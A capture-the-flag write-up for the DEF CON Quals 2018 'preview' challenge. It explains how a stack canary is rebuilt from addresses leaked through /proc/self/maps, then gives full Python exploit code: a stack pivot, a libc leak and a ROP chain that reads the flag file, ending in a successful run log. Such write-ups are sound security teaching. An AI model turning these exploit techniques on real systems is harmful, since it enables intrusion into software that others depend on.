Defcon Quals 2018 - ddtek: Preview

Team: Samurai

Attachment: preview xpl.py libc.so.6 pow.py

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
Welcome to preview 0.1
Standing by for your requests

I didn’t really bother reversing this binary, but directly started it up in gdb and analyzed it (which worked out pretty well)…

The binary itself is obfuscated, and builds up the real binary into a mapped area and runs it from there.

Within gdb one could easily spot, that the binary checked, if our input starts with HEAD, so when playing around with HEAD it quickly occured, that it will output the first 7 lines of a file.

If the file, we’re trying to preview is shorter than 7 lines, it will just tell us, that That resource is not very interesting, feel free to select another (so it cannot be used to just print the flag ;))

Welcome to preview 0.1
Standing by for your requests
HEAD flag
That resource is not very interesting, feel free to select another

HEAD /proc/self/maps
Here's your preview:
117178c000-117178e000 r-xp 00000000 00:00 0 
117198d000-117198e000 r--p 00000000 00:00 0 
117198e000-117198f000 rw-p 00000000 00:00 0 
1a2e1fd000-1a2e223000 r-xp 00000000 fc:00 3412499                        /lib/x86_64-linux-gnu/ld-2.23.so
1a2e422000-1a2e423000 r--p 00025000 fc:00 3412499                        /lib/x86_64-linux-gnu/ld-2.23.so
1a2e423000-1a2e424000 rw-p 00026000 fc:00 3412499                        /lib/x86_64-linux-gnu/ld-2.23.so
1a2e424000-1a2e425000 rw-p 00000000 00:00 0

Feeding it with a longer string will trigger a buffer overflow, but since the binary uses canaries, it will detect stack smashing:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Malformed request
*** stack smashing detected ***: ./preview terminated

Didn’t find a way to leak the canary, since overflowing into the canary would immediately crash the binary.

But when checking the canary in gdb, something struck my mind :)

[----------------------------------registers-----------------------------------]
RAX: 0x1a2e1fd117178c00 
RBX: 0x0 
RCX: 0x7f1ca8759290 --> 0x3173fffff0013d48 
RDX: 0x7f1ca8a28780 --> 0x0 
RSI: 0x7f1ca8a276a3 --> 0xa28780000000000a 
RDI: 0x1 
RBP: 0x7ffd1def2a50 --> 0x7ffd1def2a80 --> 0x117178d050 --> 0x41ff894156415741 
RSP: 0x7ffd1def29d0 --> 0x7f1ca8a276a3 --> 0xa28780000000000a 
RIP: 0x117178cfd6 --> 0x282504334864 
R8 : 0x7f1ca8660700 (0x00007f1ca8660700)
R9 : 0x7f1ca8660700 (0x00007f1ca8660700)
R10: 0x7f1ca8660700 (0x00007f1ca8660700)
R11: 0x246 
R12: 0x117178cae0 --> 0x89485ed18949ed31 
R13: 0x7ffd1def2b60 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x117178cfcc:  call   0x117178c9e0
   0x117178cfd1:  nop
   0x117178cfd2:  mov    rax,QWORD PTR [rbp-0x8]
=> 0x117178cfd6:  xor    rax,QWORD PTR fs:0x28
   0x117178cfdf:  je     0x117178cfe6
   0x117178cfe1:  call   0x117178ca00
   0x117178cfe6:  leave  
   0x117178cfe7:  ret
[------------------------------------stack-------------------------------------]

The canary here is 0x1a2e1fd117178c00. I have seen this pattern somewhere already!!!

HEAD /proc/self/maps
Here's your preview:
117178c000-117178e000 r-xp 00000000 00:00 0 
117198d000-117198e000 r--p 00000000 00:00 0 
117198e000-117198f000 rw-p 00000000 00:00 0 
1a2e1fd000-1a2e223000 r-xp 00000000 fc:00 3412499                        /lib/x86_64-linux-gnu/ld-2.23.so
1a2e422000-1a2e423000 r--p 00025000 fc:00 3412499                        /lib/x86_64-linux-gnu/ld-2.23.so
1a2e423000-1a2e424000 rw-p 00026000 fc:00 3412499                        /lib/x86_64-linux-gnu/ld-2.23.so
1a2e424000-1a2e425000 rw-p 00000000 00:00 0

Spotted it, too?

The canary starts with the first half of the starting address of the r-xp section of ld-2.23.so. And the beginning of the r-xp section of the mapped section (which is the binary) forms the second half.

1a2e1fd000-1a2e223000 r-xp 00000000 fc:00 3412499                        /lib/x86_64-linux-gnu/ld-2.23.so
117178c000-117178e000 r-xp 00000000 00:00 0

So, we can construct the canary for ourself by reading /proc/self/maps, parsing the output and take those segments from the memory map

Canary = 1a2e1fd + 117178c + 00

Let’s prepare leaking the addresses from /proc/self/maps, which we’ll need anyways and building that canary:

r.recvuntil("requests\n")

  log.info("Leak pie and canary from /proc/self/maps")

  r.sendline("HEAD /proc/self/maps")
  r.recvline()
  
  # Canary = first 7 chars from rx in ld and first 7 char from rx mapped
  for i in range(7):
    line = r.recvline()

    if "r-xp" in line and "/lib" in line:
      CANARY1 = line[:7]
    elif "r-xp" in line and not "/lib" in line:
      CANARY2 = line[:7]
      PIE = line.split("-")[0]

  CANARY = int(CANARY1+CANARY2+"00", 16)
  PIE = int(PIE, 16)
  BSS = PIE + 0x202000
[*] CANARY               : 0x387fac19439d6100
[*] BSS                  : 0x9439f63000
[*] PIE                  : 0x9439d61000

With the canary at hand, we now can safely overflow the buffer, preparing a ropchain and call it.

For the final exploit I used a stager ropchain, which would

  • read another ropchain to the bss and stack pivot there
  • this one leaks libc and reads… yes another ropchain
  • the final ropchain then simply open/read/writes the flag

There was also an rwx section mapped, containing shellcode, which could have been used for this, but I just sticked to ropping.

open/read/write got plus some rop gadgets are all we need:

# Got entries for open/read/write
OPEN = BSS + 0x80
READ = BSS + 0x60
WRITE = BSS + 0x28  

# Rop gadgets
POPRBP = PIE + 0xb40
LEAVE = PIE + 0xc89

# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15
SETGAD = PIE + 0x10AA

# mov rdx, r13; mov rsi, r14; mov edi, r15
CALLGAD = PIE + 0x1090

So, first let’s read another ropchain to the bss and pivot the stack there:

def call_func(func, rdi, rsi, rdx, rbx=0, rbp=1):
  global SETGAD, CALLGAD

  payload = p64(SETGAD)
  payload += p64(rbx)
  payload += p64(rbp)
  payload += p64(func)
  payload += p64(rdx)   # r13
  payload += p64(rsi)   # r14
  payload += p64(rdi)   # r15
  payload += p64(CALLGAD)
  payload += p64(0xdeadbeef)
  payload += p64(rbx)
  payload += p64(rbp)
  payload += p64(func)
  payload += p64(rdx)   # r13
  payload += p64(rsi)   # r14
  payload += p64(rdi)   # r15

  return payload

def exploit(r):
  ...

  log.info("Read ropchain to bss and stack pivot to bss")

  payload = "A"*(88)
  payload += p64(CANARY)
  payload += p64(BSS)
  payload += call_func(READ, 0, BSS+0x100, 1000)
  payload += p64(POPRBP)
  payload += p64(BSS+0x100)
  payload += p64(LEAVE)

  r.sendline(payload)

We use the second ropchain to print out write got to leak libc address and read another ropchain.

log.info("Leak write got and read another ropchain to bss")

payload = p64(BSS+0x200)
payload += call_func(WRITE, 1, WRITE, 8)
payload += call_func(READ, 0, BSS+0x100, 1000)
payload += p64(POPRBP)
payload += p64(BSS+0x100)
payload += p64(LEAVE)

r.sendline(payload)
r.recvline()

WRITEADD = u64(r.recv(8))
libc.address = WRITEADD - libc.symbols["write"]
  
log.info("WRITE           : %s" % hex(WRITEADD))
log.info("LIBC            : %s" % hex(libc.address))

Armed with this, we can now do the final ropchain.

log.info("Send final ropchain to open/read/write flag")

POPRAX = libc.address + 0x0000000000033544
POPRDI = libc.address + 0x0000000000021102
POPRSI = libc.address + 0x00000000000202e8
POPRDX = libc.address + 0x0000000000001b92
SYSCALL = libc.address + 0x00000000000bc375

payload = p64(BSS + 0x200)

payload += "A"*176
  
# open("./flag")
payload += p64(POPRAX)
payload += p64(2)
payload += p64(POPRDI)
payload += p64(BSS+0x290)
payload += p64(POPRSI)
payload += p64(0)
payload += p64(POPRDX)
payload += p64(0)
payload += p64(SYSCALL)

# read(3, bss+0x300, 100)
payload += p64(POPRAX)
payload += p64(0)
payload += p64(POPRDI)
payload += p64(3)
payload += p64(POPRSI)
payload += p64(BSS+0x300)
payload += p64(POPRDX)
payload += p64(100)
payload += p64(SYSCALL)

# write(1, bss+0x300, 100)
payload += p64(POPRAX)
payload += p64(1)
payload += p64(POPRDI)
payload += p64(1)
payload += p64(POPRSI)
payload += p64(BSS+0x300)
payload += p64(POPRDX)
payload += p64(100)
payload += p64(SYSCALL)

payload += "./flag\x00"

r.sendline(payload)

Might have also just put this into two ropchains, but it worked out pretty quickly and there were still more challenges to do, than cleaning up an already working exploit :-)

So, here you go:

[*] '/vagrant/Challenges/dc18/preview/preview'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/vagrant/Challenges/dc18/preview/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to cee810fa.quals2018.oooverflow.io on port 31337: Done
[+] Starting local process './pow.py': pid 1544
[*] Stopped process './pow.py' (pid 1544)
[*] Leak pie and canary from /proc/self/maps
[*] CANARY               : 0xca98baf736e0e700
[*] BSS                  : 0x736e2e9000
[*] PIE                  : 0x736e0e7000
[*] SETGAD               : 0x736e0e80aa
[*] CALLGAD              : 0x736e0e8090
[*] Read ropchain to bss and stack pivot to bss
[*] Leak write got and read another ropchain to bss
[*] WRITE           : 0x7fbb8a99a2b0
[*] LIBC            : 0x7fbb8a8a3000
[*] Send final ropchain to open/read/write flag
[*] Switching to interactive mode
OOO{ZOMG, WhAT iF order-of-the-overfow IS ddtek?!?!?!? Plot Twist!}